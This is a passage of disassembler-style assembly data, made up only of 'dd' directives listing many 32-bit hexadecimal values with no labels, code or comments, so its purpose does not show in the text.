		dd 0DA5903AEh, 0ED1A61F5h, 85C1272Eh, 0ACF15612h, 2032FFEh
		dd 7D1A684Eh, 60954966h, 8B23CCB7h, 255372B7h, 58D5C06h
		dd 61416852h, 54E4FE3Dh, 5ED85EE0h, 0E967DAh, 3A7B65D1h
		dd 5FF8D129h, 98559579h, 82DA407Eh, 3B756AC1h, 0D8AA8112h
		dd 0EE39995h, 0DCC7800Fh, 1D20EA21h, 0CC948C9Eh, 9F5458Ch
		dd 3FC16FA1h, 215F5B89h, 0C913E9C3h, 0B3F675D6h, 0A04F40DAh
		dd 78DB2072h, 4264E809h, 0D8FC8014h, 0BF98228Dh, 70295061h
		dd 154BFD78h, 1F205D99h, 0C52980B7h, 0BE9655B8h, 7DCD902Dh
		dd 0CA2089D7h, 4045D4F6h, 0A24717BEh, 0C88A81D4h, 78A7685Fh
		dd 7EE088D6h, 680A4204h, 95E49CE9h, 54DF6DD5h, 0DB2F9477h
		dd 583D9F72h, 0FB1C3A21h, 6605172Dh, 2C713555h,	0F29D844Dh
		dd 1A56D3C7h, 5729D428h, 0F85E3ED0h, 43BEA0E3h,	66140041h
		dd 183A7405h, 0F0282951h, 0C59D072Dh, 8CFD2C0Bh, 569AE84Dh
		dd 6F995F95h, 5D3B304Eh, 17E83BE1h, 878EBBA5h, 294C1820h
		dd 72332774h, 5A1B40D9h, 7D3C6812h, 0E0559732h,	975C14F6h
		dd 136F3BD1h, 28B453BFh, 4640135Dh, 659D09B9h, 715249h
		dd 4609044Bh, 0BFD2D0EEh, 683F3F95h, 0DF6D4CDEh, 7A22BD00h
		dd 923DA5E9h, 43B3521h,	0B2EB0Ah, 182B2FC9h, 6F8A04D5h
		dd 0D636F6BAh, 0E9E81DECh, 0B602E14Eh, 0AF75C268h, 57AE1652h
		dd 6B2EC97Eh, 2CA77569h, 29624CE6h, 5DA3E911h, 6775A40Bh
		dd 0C80F01DEh, 287C7368h, 3B4C4BCh, 2585BA7h, 9C4A8B00h
		dd 500A681Eh, 5679BBA6h, 0D942E409h, 0FD210910h, 0F58BD722h
		dd 0F9BD0858h, 2F69E30Bh, 28E7C302h, 0C0152C66h, 4830EE4Bh
		dd 0B14A7386h, 0AF6C7BF0h, 31074161h, 43F48BFDh, 0E775FC28h
		dd 1A145D2Dh, 54681484h, 99EB4BF2h, 0E06AF88Dh,	49E9212Eh
		dd 0CB92E726h, 0FB07F8E6h, 0D4459C18h, 9E71A9EBh, 272AEC00h
		dd 25685903h, 38A40744h, 4935AF40h, 0F79221EAh,	2DFE3302h
		dd 2725F458h, 0CC9C7CF1h, 0D8AEE116h, 80132178h, 80BEE4E6h
		dd 0F0286346h, 0F827CBB8h, 68E059D4h, 0A7DF09BFh, 0D88872F1h
		dd 0C102449h, 0ED39A87Bh, 826599Fh, 520FA9CDh, 4BBB3689h
		dd 0B8FC0CABh, 723ADC2Dh, 97F4C6F7h, 6FA419F6h,	7CBE7D27h
		dd 59C83100h, 5A37C005h, 4131AA26h, 8204CE61h, 23EA9631h
		dd 9A6D96F5h, 18D72DB6h, 0D772EE7Eh, 2A9D4511h,	4F10FD41h
		dd 162E3109h, 2868FCF5h, 459F0BC7h, 0EDCF82B5h,	8BDF2627h
		dd 454855AAh, 8600BE56h, 815F9006h, 302BF1E6h, 0E80C50B5h
		dd 3D7CC54Eh, 0E2C6EE04h, 0ECBFA5CEh, 41202D2Fh, 0C9FC494Eh
		dd 0C64B0F3Bh, 51064121h, 0D15DD5F7h, 650416BDh, 0DE4614AFh
		dd 0C305BB22h, 476273C2h, 191ED4FAh, 353B3A08h,	0BE349792h
		dd 0F8286C47h, 0F56B80E2h, 5A0BAB51h, 0DDB8F558h, 6CB294A9h
		dd 4EF6D158h, 106EA1ADh, 0ADE957A2h, 8016A250h,	0D804A5E1h
		dd 0FE07712Eh, 928D82C1h, 0C9F0B658h, 7F3131B8h, 6CC1338Fh
		dd 910C3620h, 0EB5192C9h, 50B3B1E2h, 65C4BB90h,	89676F07h
		dd 0B8805BD8h, 0B0AC59D4h, 2D78BCD1h, 0C37206FCh, 0A21F5B45h
		dd 0D50C60FFh, 9D14B458h, 0DEC2F6C5h, 0CB290258h, 6628AB41h
		dd 1FFF5F75h, 0A8D3D734h, 0FCB8B5A1h, 0E11F200h, 16402D0Dh
		dd 1769B3Bh, 130F39B1h,	66E219E9h, 3218A014h, 0F8D7824Ah
		dd 0ACF27AB1h, 90E55EE3h, 0E2C14269h, 0D3C60660h, 139B6F15h
		dd 9103C7E9h, 6B3A1173h, 7984EFA8h, 8244EA22h, 14E86FFAh
		dd 1FBF5780h, 561A2E74h, 5C0B1BBBh, 0B6E909E9h,	0B8048AF0h
		dd 261438AFh, 1CA98780h
		dd 83685F06h, 8274EF8h,	13C95802h, 3364F4Ch, 2C4B8856h
		dd 5F8E808Ch, 0E05F122Fh, 0E8D15105h, 3CF7F4B0h, 640E35D0h
		dd 91A1106Fh, 7BE3AF13h, 5DC98581h, 5D5B5634h, 0F9936353h
		dd 8DE90C6Dh, 1E312487h, 52525FFEh, 0BF80846Dh,	4BF9BCF0h
		dd 0E265EA42h, 9CDD3B4h, 40766A48h, 0E47B6802h,	95C485FCh
		dd 887D03ABh, 0E82C5BDAh, 0A2408503h, 20DEF874h, 495AF031h
		dd 89296109h, 0B33E8079h, 0FC238F4Fh, 2547BEC0h, 0ABF90630h
		dd 0D3ED8082h, 9D19C912h, 820575Ch, 0DBA51FB1h,	97436291h
		dd 3E18A509h, 0BC0675ABh, 2E58B08Fh, 2384E76h, 0CF880FB8h
		dd 0FF255CD4h, 46D7319Eh, 21505C40h, 37E930D6h,	4B38DDB8h
		dd 772942D5h, 68E235E4h, 7677CC2Dh, 22BE6201h, 9449A857h
		dd 0D742AD00h, 9FDDF712h, 0E9E421F0h, 7D32571Dh, 31FCCF3Fh
		dd 0D4C2348h, 8848B2E0h, 807E64B2h, 0C78823B6h,	56490F53h
		dd 796078ABh, 510476BAh, 348B2993h, 0AAC2F005h,	0CAC4D29h
		dd 0FDDA3A8Bh, 7AFA107Fh, 6F28A55Bh, 0C698FACh,	4B69C3D5h
		dd 0C716BA0Ch, 0E9C534E9h, 1046FB6Ch, 97754B98h, 794B6776h
		dd 49559F6Eh, 1B6E0834h, 0A577293Fh, 0CCBC575Eh, 0D92582B2h
		dd 1AD14957h, 0B5078EE8h, 0E84003A4h, 0E72DA0F9h, 34CF2536h
		dd 70259E2h, 0A27765E9h, 0D75DEBBFh, 0E79F2D50h, 6F3F04B2h
		dd 603EE44h, 2D13DAE9h,	0CC54431Ah, 557360ADh, 0F2C57289h
		dd 888C935Dh, 0F94139E4h, 61EAA7DEh, 0BE001770h, 0C1261CB9h
		dd 671C8045h, 90041553h, 0BDAF764Ah, 526EC4E2h,	6046FDA4h
		dd 0EDF5A567h, 0D60912CEh, 0E055D5F7h, 4F565DCFh, 0CF24FE5Fh
		dd 0D0D490EEh, 4F60BA1Bh, 73681F92h, 0D0FF986Ah, 0E04A08EEh
		dd 0F0706F1Bh, 0E9F8049Dh, 94FCC6h, 8C5A82B9h, 7674BB02h
		dd 316A9909h, 0FC765CBh, 1C69DE21h, 0E27DDB5Fh,	29076779h
		dd 0B970FFAAh, 0CF301437h, 1B27832Bh, 1390A91Ch, 0D5A4C2BCh
		dd 354A1C00h, 3CCE0176h, 0B45AE951h, 6603D9FBh,	0FDF1805Bh
		dd 2C59F830h, 0E20403E3h, 0D168F028h, 0A7BA45C5h, 0E53F914Eh
		dd 0BC47E1FCh, 0D24C7445h, 83D710B5h, 0A749B15Bh, 0CE24FF1Dh
		dd 0A913EADAh, 3E34A301h, 0B17B067Fh, 0D0A6616Dh, 7C27FD3Bh
		dd 0CA3FE31Fh, 0DA90D7EFh, 468101D0h, 0A23A94D9h, 5FFF5FF5h
		dd 415525B3h, 0B9E050C2h, 877F06A1h, 4EC88946h,	1FB6C106h
		dd 98746BE4h, 28D20878h, 5175D37h, 1C57FC01h, 0C803B1Fh
		dd 7E9D2AA3h, 0C598DEF7h, 0BBCF515Fh, 0B494F84Fh, 79358080h
		dd 0C1F7F72h, 0D86CA8EDh, 0B84AFBCAh, 0E396D5A9h, 8752CBA6h
		dd 59DB3AE9h, 12A92B69h, 0D7BD1C93h, 48A1A397h,	63810C50h
		dd 0EC37AC8h, 722B5203h, 54E1BA60h, 34B8537Eh, 0EA05ED98h
		dd 3F9511FEh, 0EA4B982h, 0FF9E4EA4h, 398FD437h,	0F73BE7DBh
		dd 5F34B9Ah, 0C59FC1A6h, 3BD4AF80h, 0EE98D5E9h,	0E69792EAh
		dd 19B7057Dh, 95313C17h, 938EEB45h, 77B9203Ch, 0E43117D1h
		dd 70F6C92Bh, 0A6499406h, 0B16107E2h, 55A55D64h, 0E554B657h
		dd 0F2C9021Ch, 611D4E4Dh, 34930E69h, 86B2AA50h,	3198D3A6h
		dd 5736516Bh, 40346FE6h, 0FDEA16BDh, 3AD2D669h,	0FF18FF68h
		dd 2E1850EDh, 5A0C70F0h, 537C2016h, 0A118B202h,	62FD011Eh
		dd 0C080D93h, 0FF011404h, 33C31139h, 0E1CEF17Eh, 88CC2B29h
		dd 0F30C5FE5h, 2BC316A1h, 40820E89h, 16225B4Eh,	0F4C76802h
		dd 79B8606Ah, 46009F78h, 0B647080Dh, 5421E967h,	7288982Fh
		dd 58C70EF0h, 0FEE9D7F6h, 20C93A8Eh, 0F65097Dh,	85EB0411h
		dd 1D704BFh, 39BE125Dh,	65BD61E1h, 7DE77EFFh, 565102C4h
		dd 63F13D16h, 3D288E2Eh, 1608354Ch, 7FF22D41h, 8430562h
		dd 301D885Ah, 0E35C5B01h, 0A10C4100h, 0E9041C10h, 28A908B7h
		dd 8BB63804h, 17B3BCCAh, 0AADD6F79h, 976E68ECh,	721ADC9h
		dd 7CB0C4A4h, 3FB50451h, 0C128ED80h, 793C2B0Bh,	0DBB302Fh
		dd 25238205h, 40F81BDAh, 0F65B3A24h, 0D506EE0Bh, 0A2C86840h
		dd 0D42DD02Fh, 855616FDh, 0FBA7FB17h, 68C27689h, 75B5B761h
		dd 4BE36FDCh, 10C08125h, 689F97B4h, 1685145h, 50F053B6h
		dd 7A7BC8E9h, 2E7819F2h, 0ADBBA0E3h, 5D9586F8h,	3A0C560Dh
		dd 0A64A0AE8h, 2A294B82h, 14B28368h, 0E2531984h, 0F5E9B04Ch
		dd 0EB12D768h, 3081659h, 0B2EBDEF0h, 0BBCBE991h, 0F3B5D15Bh
		dd 147C7DEAh, 0D4D06F63h, 8D1A3D04h, 445FE099h,	0E976D10Bh
		dd 70D2C97Bh, 314EB638h, 2E6D1CBDh, 0B32871FBh,	63B63A47h
		dd 6BC8292Fh, 987632C2h, 49312F7Fh, 5275336Ah, 0F2ECCC2Ah
		dd 76772663h, 0AE635F57h, 0A1B8A820h, 8F7B4C23h, 2FA04F2Fh
		dd 131E94C5h, 7CD1142Dh, 69DD0892h, 3DE70C31h, 0B6A7A65h
		dd 0FBA21507h, 41E0EBC1h, 0A1DCBE3h, 87BA2AF3h,	52896204h
		dd 4C2E21CFh, 0F1436836h, 3ADD8926h, 96D7B32Fh,	6B85EFF9h
		dd 0AE8F23E1h, 0EC3CE3D9h, 7D826FFCh, 0E50CC7FBh, 4EF2FC0h
		dd 0E695B150h, 0E3C2EE31h, 6593F1C8h, 5520B185h, 391B2E37h
		dd 0C4BC4B8Bh, 53B4ECE3h, 29032FA7h, 3AD5E9EEh,	24ADBA84h
		dd 0DE5FF4E6h, 0AD3D05B3h, 25AD6A41h, 0F0E0EB25h, 725B9568h
		dd 948978B9h, 4B731F82h, 5084C881h, 4CA03FE4h, 0C36B03B9h
		dd 6E41E90Dh, 0EA295212h, 0EC49C806h, 5FCB7F11h, 0AFCAC4A0h
		dd 3C6311F8h, 89033C2h,	0B83DF681h, 94222E55h, 1C38B103h
		dd 13187572h, 44435F5Dh, 0BE309D2Fh, 497B72A6h,	4A7E9366h
		dd 960F1EFAh, 0F56587CDh, 5EC4003h, 46DB3716h, 0E8E8292Eh
		dd 0E90FAA02h, 0B800771Ah, 2B2140BFh, 635AD0F2h, 24844BF8h
		dd 5F171444h, 0D6019E4Eh, 0D880EE16h, 158C388h,	0BDB65259h
		dd 9DC4EE80h, 0CE996106h, 0BA41F60Ch, 4B81E6C0h, 0BA09C8F1h
		dd 8BB03A0Bh, 60EA6101h, 0F43B5BC7h, 0E910565Dh, 5825A135h
		dd 14A7915Fh, 2C314065h, 3E5022DCh, 0D184B7Bh, 0E3C01861h
		dd 0EEFD037Bh, 0EF81985Eh, 5B79A89Ah, 0B82F26Eh, 69A469E9h
		dd 29FCD45Ch, 4B0AF645h, 90B9E38Fh, 24FE2086h, 3BBCB87h
		dd 367C7AC7h, 80940C3Ah, 5D53ACBFh, 0E2E9215Bh,	0EE604A32h
		dd 338D2AD1h, 0BDFCD79h, 49A932EFh, 0A907C70h, 5A3A2A27h
		dd 0ED3320E2h, 88CDB316h, 20CA2CBAh, 5966EB16h,	5D4F70Bh
		dd 0BBE13C1Fh, 5073813Fh, 377443B9h, 0D93A9EE9h, 0BBB27E52h
		dd 172B50C9h, 442582D7h, 8000B19h, 61C6362Dh, 6852FD0Eh
		dd 75AC5671h, 0E0422C1h, 27E9C443h, 0C0D35B6Ch,	662950EDh
		dd 0BED2A83Ch, 715B17DAh, 55028001h, 3B12BCBDh,	4D0929ACh
		dd 271850Fh, 2095E5FBh,	688061B9h, 0B3504BA9h, 0B0470107h
		dd 983FE9A6h, 8177447Bh, 5E57C1EAh, 9DF4F4BEh, 6B5AF9FBh
		dd 473D8B61h, 4DADC004h, 3851B573h, 5F7438F3h, 3DA2E5A8h
		dd 6C57E1A9h, 0BE6B0F3h, 6E844648h, 6FEA8B86h, 0FA2F0FECh
		dd 5A2A5EFEh, 176DFB75h, 0C21DF95Ah, 82053947h,	3C6EECBh
		dd 0A3F8B4B8h, 0C57C3122h, 18D5AB30h, 48D02FB6h, 6939B5E6h
		dd 0AE2CC393h, 5A5CA95Dh, 261FCC3Ch, 0DD4BFC89h, 0A89EFE2h
		dd 12400D2h, 745A0AF2h,	0ADA25993h, 524DDC79h, 0D1035B60h
		dd 2AB2AE7h, 0ED25E537h, 82DEF584h, 0F6579167h,	0A5264F7Ah
		dd 5F4E12F6h, 0EC7B41E1h, 0D5BFF237h, 75256279h, 0D1287064h
		dd 9990B3F5h, 0EB655C19h, 2761F772h, 45FF0CCh, 91E93271h
		dd 0C4AA1705h, 0C8B6A390h, 29E90983h, 54F73468h, 1938390Ah
		dd 1D019A53h, 4636743Ch
		dd 40EB5970h, 0EA6AE95Ch, 893F99A5h, 7DFC4DF6h,	0F46AF4D9h
		dd 41C56F16h, 83E3FBE8h, 27110C58h, 8B88593Eh, 6F746516h
		dd 2E501A60h, 0FA62BD7Dh, 0E0D1DB40h, 35004CB8h, 0A77CE52Fh
		dd 0BC5542E9h, 0F6458675h, 0DE22BAD9h, 0B04E32B4h, 70F5C1EDh
		dd 0FA297C89h, 0D205C6Ah, 1F12C280h, 0B1901075h, 8513D0Bh
		dd 80A8F226h, 4E5DE908h, 0FACF943Ch, 0D2572053h, 2BF5DDAFh
		dd 0AD629BDh, 25E9FCF0h, 0E9781859h, 3A359C77h,	0FED02896h
		dd 294E998Bh, 5E2C7E2Bh, 0F5D82AE9h, 0E0AB498Bh, 69C257Ah
		dd 8F891B51h, 1D39655Eh, 0BD27747Bh, 0DAB05B97h, 34D0427h
		dd 8001C783h, 7D775B0Eh, 0A261798h, 3400841h, 716B9306h
		dd 5DCFFA4Ah, 0C0091A86h, 795805EEh, 0F66DC639h, 5EE9AB08h
		dd 0C2943D97h, 1410E8A1h, 37BF5A3Ah, 81167ECh, 155A6DEEh
		dd 975413D8h, 0E9EF7E51h, 39A0D770h, 0E29ADEEh,	600C0660h
		dd 0BC63CF51h, 190636F7h, 0F5A0AB09h, 37DA7587h, 2D405B48h
		dd 0E5955E22h, 938F0253h, 78E0B532h, 2A1651F7h,	84A074FBh
		dd 0D929F9D9h, 3F518A92h, 4CEB925Bh, 0B93B9DF5h, 0C3807E69h
		dd 5FE1A2F3h, 8F29CE62h, 935A89D0h, 0F9BE50C4h,	524CC607h
		dd 13559F18h, 68475035h, 70821EC5h, 8737D314h, 71CAB0F1h
		dd 3B7B4352h, 4853B55Ah, 3B83610Dh, 0D1B57Bh, 4B9EF292h
		dd 0E9129F06h, 5B440F60h, 0E1E9A85Bh, 40A7FD84h, 250F46D7h
		dd 4D772DF1h, 0E76884FDh, 46CAFE5Dh, 86164B4Ch,	0D35EB226h
		dd 5C4DB4B4h, 0C380190Ah, 4E139936h, 6DCE8102h,	55162A7Bh
		dd 487F9EC8h, 0D5CF0625h, 0CBEBC5E0h, 0ED24F05h, 0CCC1DBF7h
		dd 313E1203h, 925456E3h, 0A0B98516h, 1903C33Eh,	0D301409Ch
		dd 5A084440h, 20856C97h, 42CAC411h, 79ADAC67h, 705D4996h
		dd 0F2C616A6h, 0C690F9FEh, 204F4077h, 2D0049D2h, 65F76F43h
		dd 0FA06E8C1h, 24C74AB6h, 41D807E6h, 0C32A522h,	6124AE3h
		dd 1E035212h, 0EE7884BAh, 0C13F72E1h, 578226h, 9F58C331h
		dd 93F8C8Eh, 61982046h,	485D8668h, 722881A4h, 9770145Ah
		dd 0EA5F5AB2h, 5AE93068h, 5B55ACDAh, 0A7B013EFh, 74E90E31h
		dd 8BAF1216h, 38FF4ABBh, 884864BCh, 850E175Dh, 5723D8FFh
		dd 0ABD79ACBh, 0A182FDE4h, 8E7C0BA1h, 0A87E5E71h, 244EF60Fh
		dd 0C5EC0168h, 306DF45Bh, 0BA72095Fh, 2F5B565Ah, 0DB7F5F09h
		dd 0F1CE84BDh, 2C8A9CFEh, 1F4EF67Dh, 5F544905h,	0A6F4F1ECh
		dd 805C25AAh, 0C6860F3Eh, 905D9766h, 93412214h,	9B680969h
		dd 53BD1150h, 495A1F24h, 0DA74633Bh, 8277862h, 22F302C5h
		dd 3C08020h, 0BCC9F81Ah, 73F45Ah, 6939BD55h, 589F5009h
		dd 0EC9803h, 86EB0540h,	0C6015A7Dh, 5CEF195h, 0D8789C68h
		dd 30174F13h, 0DEE34CB2h, 0A85B5D0h, 1C6F92Eh, 7F3034DCh
		dd 802CC329h, 4092E0B1h, 2A3CA5Fh, 1628F93Eh, 1124DDBBh
		dd 8BD3F4BAh, 55D4615Eh, 22B5C1EBh, 664B964Dh, 0EB8076C0h
		dd 0B506C1E4h, 7D52D988h, 2FE516DBh, 944B056h, 38EE4819h
		dd 68445687h, 0BB56227h, 0A889F0C8h, 2013A4FCh,	3C89A0A1h
		dd 0F7DC1EAh, 80D6C915h, 58EC631h, 0F0B2698h, 0A7942CEDh
		dd 7C90167Dh, 0A53F9198h, 0AD28EF7Fh, 0CB4AD8D2h, 69EFCBAEh
		dd 0F475831Ch, 94106C54h, 3A095792h, 0F65A2217h, 15D8267Eh
		dd 2448BE6Eh, 0A5DC3B2Eh, 59A400F7h, 2452A62Ch,	270BEB01h
		dd 0C0D68F8Bh, 412BC151h, 0E9F101A3h, 9E5ECE50h, 48F97762h
		dd 4197837Ch, 69E93A5Dh, 0E9F8C39Ch, 0F9FF3BF7h, 976ADE76h
		dd 0CBF42096h, 21554A73h, 20D829D9h, 2F3E266Ch,	152D804Bh
		dd 54DFB0Dh, 0F0561369h, 214ED011h, 240664Ch, 1A4B09F1h
		dd 19781396h, 886BE912h, 4514CCFEh, 0D304E4Ah, 7D4A2C1Eh
		dd 342B250Eh, 0C226E7C6h, 4F02F864h, 4A1991E9h,	729EC02Ah
		dd 74299D65h, 0F9BCE301h, 3F967089h, 0F0CCDA5Fh, 2B294126h
		dd 0B85976D8h, 5AFEFE68h, 75FD4146h, 0A5F5B5CDh, 405B8016h
		dd 491E5425h, 6100F359h, 4558B912h, 0F4486AE9h,	87C7695Bh
		dd 570960FEh, 0D9D36479h, 85C35643h, 0A88AFFF8h, 0D254A797h
		dd 0F18F1B2Fh, 1C876A41h, 8707EAC0h, 8BD93BABh,	0A1A07F4Bh
		dd 5F59CA31h, 5678D1A0h, 0E941D30Fh, 34FE33F2h,	7C0FF055h
		dd 0F871C041h, 0F5C1996Bh, 0EDD98958h, 593CFA20h, 423BEF09h
		dd 0F459BC13h, 899046A7h, 0B4E04CA0h, 8DBA5202h, 0D57A0D03h
		dd 86F8625Ah, 99B8375Fh, 0BAFA5A2Fh, 34170BF6h,	33FA5E1Dh
		dd 0AAC3E93Ch, 5F5C5E16h, 9A4B49AFh, 508B08FCh,	5D9C967Ch
		dd 2CC9465Bh, 645F0592h, 70687B25h, 2454971Fh, 0D31F8BC4h
		dd 0F3D4AB5Eh, 0A1CFB2AAh, 520779B0h, 0C6485B45h, 31A74288h
		dd 0FA132424h, 0CD0288EEh, 5AF01249h, 0C6A02CAEh, 0D4449D02h
		dd 88CE010Ah, 0A22408AEh, 59C6025h, 71961EA4h, 0BCC39255h
		dd 2BFF5FEFh, 467719FDh, 42DEE07Fh, 0C844A27Dh,	8C72F705h
		dd 5C83092Dh, 2EFB5983h, 5F649444h, 0ED805A01h,	1DAF2EF7h
		dd 4EF07C96h, 0D398FEE8h, 1609350h, 0BE960B1h, 92E97B45h
		dd 29A4590Ch, 634EEBE6h, 0D4703AE3h, 0A812C8E3h, 0DF28EA7Ch
		dd 9CE8B7F6h, 0F2BF680Dh, 1F3E6251h, 0B803AD53h, 6D33D9EDh
		dd 2F7D0228h, 4164CAB9h, 0A0BBF4A0h, 1CC40807h,	8529CB87h
		dd 0F1AFD5ABh, 0B4C1042Ah, 81D74744h, 0EC4F89FBh, 92B7D7D0h
		dd 480C6092h, 8109A871h, 21A202EFh, 0FB296763h,	57A96DFh
		dd 6E3A0AEBh, 10FB844Ch, 0C6008E9h, 43BE6351h, 62926839h
		dd 0D599AE3h, 0B4CAEEA2h, 9BA30AD7h, 4BEF045Ah,	71549CE2h
		dd 0CC7A163Ah, 670A439h, 2653B240h, 104B47B3h, 16ED480Ch
		dd 0D9B30139h, 0F9B95717h, 8A68826Fh, 8CD4F91Ah, 141C173h
		dd 698D749Dh, 7AD2B2E9h, 27B30CB4h, 4A79FEECh, 4C4F760Dh
		dd 41FA0930h, 0D4B42F2Fh, 284C2CCBh, 0FA622F60h, 172B9F00h
		dd 0A095D0C1h, 0EE3DA357h, 287C977Ah, 22C0CC8h,	2FE95A58h
		dd 0BDC5083h, 480F81E9h, 5420D609h, 3AB54170h, 0AAA4DBA9h
		dd 7502D209h, 0F62D643Ch, 38A257E9h, 7DC182Dh, 55D956C4h
		dd 0D8DABC6Bh, 4EE9DE6Eh, 0B140007Fh, 41F180A8h, 2A2EC1E6h
		dd 730BB8F6h, 4B21D20Bh, 841FA63Ch, 64FB1D0Ah, 48D483A9h
		dd 0E283BEBAh, 0A0BC08E0h, 8C2F0F7Dh, 59600F8h,	50B0347Eh
		dd 4078D345h, 7B393544h, 7C872DECh, 0E2EF8966h,	80C139A5h
		dd 6E522D99h, 3125547Eh, 4053C8h, 6D0E7468h, 9F5FE916h
		dd 0E5026EADh, 2F4443F1h, 658D56C0h, 0E9724EE4h, 0C0739F4Eh
		dd 0B6F5E756h, 0A63028FEh, 0D38286B2h, 932D715Dh, 228FD8Eh
		dd 0DC29D4C3h, 818B5F14h, 6A08137Eh, 0BD5F16C1h, 8FB8D79Fh
		dd 0FFB981A5h, 0AD43BD3h, 0DAAEC0BBh, 5C12ED4Dh, 5B1ED987h
		dd 0A2045397h, 36FC2E9Ch, 0BB1EACC6h, 2C27E604h, 0E2FF0B69h
		dd 36E912B2h, 242D2D53h, 0FAE91385h, 688A8C63h,	0DE9314F4h
		dd 0CF75740Dh, 81E40B65h, 0EB12D713h, 4021B40Bh, 0CE7ABBB7h
		dd 0DF4A4F36h, 10ED4386h, 51504E14h, 709218EFh,	1E8FEAB3h
		dd 0FA25311Bh, 0FE5349B4h, 30CF0A00h, 8057E606h, 2A5A18B8h
		dd 0BB2B2FF1h, 4AE30714h, 0FE22C5EEh, 6AD1C7C2h, 848B590Ah
		dd 0FF6E8368h, 0F820071h, 4A5ACC2Ah, 89A2335Ah,	0EF7ACEC1h
		dd 55B36037h, 71685003h, 1317A40Ah, 0BEB308CAh,	20170D65h
		dd 0C4786FBh, 60CBC0Bh,	24A8FF46h, 40562808h, 0DF4FF707h
		dd 978A15F4h, 5C2F97F6h
		dd 3F9072D5h, 0BE801B3Ah, 3770000Ch, 2E65BD64h,	312D1678h
		dd 29FCDBF5h, 0C45D64E1h, 29E2B452h, 37A2E85Eh,	10CB52CAh
		dd 4BBB5B1Dh, 7EC23379h, 250E585Fh, 0E7DA2F4h, 0CCFC0E19h
		dd 41123A5Bh, 73092EC6h, 401ABBEh, 0D2EA8E10h, 0F889C6h
		dd 0E481F9B7h, 95E96101h, 0F9C6D357h, 7CB50B28h, 41806BB1h
		dd 598D3B17h, 55FA190h,	0B53DAEF8h, 125D512h, 3034A635h
		dd 1A21204Dh, 427E9416h, 55F0C509h, 8A24B14Dh, 0A35D5E3Dh
		dd 0B234DDC2h, 9DF2C12Bh, 2AD95503h, 0C68D7F3Ah, 70139178h
		dd 78D9B277h, 71A3A224h, 0FE1CF0A5h, 0F910D73Bh, 41DA16A1h
		dd 0A45C6121h, 10BCE23Ah, 573B850Ah, 0D02A5E78h, 10587477h
		dd 94BB7002h, 0D4484C0Fh, 28D285Fh, 2A6AF5A5h, 0E758A968h
		dd 430CE912h, 9C032FADh, 0F264477h, 0C917B02Dh,	136006CDh
		dd 0C6F5C04Eh, 0D5B9AFC3h, 0D7162F2Eh, 5B01C10Bh, 18483C94h
		dd 1645D6C4h, 0FE5609EAh, 151D4B80h, 81B070B8h,	0DC1F32EEh
		dd 0A02AE920h, 2F00A4F4h, 12BF2EB3h, 4D17CEC4h,	0FE131F29h
		dd 208E1C5Fh, 0ABD93FA0h, 0B6312181h, 7023886Fh, 0BE044F43h
		dd 0FEE046ECh, 10B18C01h, 9F304BD9h, 82BA95h, 0C0ACB050h
		dd 0B65203E8h, 0C6FE6003h, 9835E680h, 250864F6h, 117E5AF0h
		dd 4D2C901Ch, 1FCB2C0Eh, 0E62E041Dh, 0FEFCB041h, 1B854428h
		dd 4F81A70Bh, 59203CBBh, 0A8337EB4h, 5728F980h,	74F7C801h
		dd 434BD6D0h, 0BD6A3568h, 32D5F7E2h, 51717D20h,	77508F62h
		dd 0AF5DFF25h, 0B0FE9AC5h, 2B643E82h, 8384CB1Dh, 2524A8ABh
		dd 8B9C7D59h, 6171E926h, 6EF02580h, 0E0D7E66h, 13BB61DDh
		dd 7D1B76A1h, 60077134h, 2C6266D0h, 75FABA2Eh, 0E9871D24h
		dd 0FDE10352h, 0DA15D541h, 2CB374CEh, 0E407121Dh, 9A5BB424h
		dd 0A49E91BDh, 0A3DC34F0h, 575812E6h, 184D2ACh,	8F9FA2F8h
		dd 0B05252E9h, 0DEDE61EEh, 10900D07h, 0EA800E33h, 81EC67AAh
		dd 8B5CE6Fh, 20C13AD4h,	9FC53B0Dh, 0F7ADE728h, 5138784h
		dd 0D474D601h, 0EAB6BFD0h, 26DAAFEh, 0BAC9DC8h,	0BFF6C146h
		dd 0DC8D4F4Fh, 0C1B1D22Ch, 0F766002Eh, 1307D2D5h, 4B13F8B5h
		dd 24215E29h, 80BFA97Ah, 531C2569h, 406C4601h, 67BF5D0Ch
		dd 0A807627Ch, 0E3356600h, 0E47CE936h, 775DBF10h, 2722F05Ch
		dd 593EF671h, 81647B02h, 0E2608281h, 0F078D22Eh, 65DFA14Ah
		dd 800F0325h, 4B7F39DDh, 2871971Ah, 131567Eh, 161763C7h
		dd 0D3A93B39h, 2AE077Ah, 7F4F6DCAh, 0F18BF480h,	0F9250116h
		dd 0E970765Fh, 49882D0Ch, 0C2E896CBh, 89F8557Eh, 960B3209h
		dd 823A7865h, 5B29DC07h, 94713FF8h, 0F4E67051h,	0DCC43933h
		dd 8DBB7C09h, 15AC3ABDh, 0F911157Dh, 0CCDE97FEh, 0B916FB5Bh
		dd 76E23FB0h, 87F9C0B7h, 0D6F735F1h, 46B60708h,	887DA573h
		dd 8E41A255h, 0D6A1AC2Ah, 21A45212h, 489A0FF6h,	17640E71h
		dd 5B42BB40h, 726FC380h, 51712E08h, 207C9229h, 0FF650AD2h
		dd 177D0AAh, 0D7E1F30Eh, 1ED569Eh, 12E6972h, 8CD61F5h
		dd 0E9E25E08h, 1822EE25h, 82FD5056h, 83F5E057h,	63F3283Ch
		dd 0C9EC2FF6h, 0C0521459h, 9591B5DCh, 0A40B1E53h, 20F0E66Fh
		dd 0E9124F47h, 0D9AF1A42h, 65FA3047h, 3BF4540h,	7D526307h
		dd 0B2E1FA29h, 0D7B32F13h, 46C008DAh, 9E287F85h, 0E716F745h
		dd 0DE10240Ah, 870533C4h, 548CBAE2h, 0FB622FC1h, 0AD5C31D0h
		dd 0DFDD6914h, 8B09B2FAh, 40FAA094h, 81FED0C7h,	0AD98D843h
		dd 20BBE697h, 0F99DBFE5h, 0B00F1E8Ah, 3EA6BD2Eh, 5B23A425h
		dd 3945061Eh, 3638843Ch, 78EE4B59h, 88250F19h, 554FE81Dh
		dd 3B1BF16h, 23822F43h,	189E755Bh, 0DEBD309Ah, 9AE9D05Dh
		dd 0C65B0DCEh, 4627D97h, 20B814BEh, 0B104EF8Ah,	67EA2DCFh
		dd 0E7A5A302h, 0E9A6EE6Eh, 17C5DF54h, 729C4A8Bh, 9775F454h
		dd 0A5F1FC0h, 5782F3B9h, 0F93A3968h, 21F78ADEh,	4D4C4058h
		dd 0E910790Dh, 725009CCh, 0E4591E6Ah, 4720CA42h, 0C4140234h
		dd 0DE5ECA68h, 1B060208h, 0C40B4D5Ch, 7E432B2Ah, 3B1B42DCh
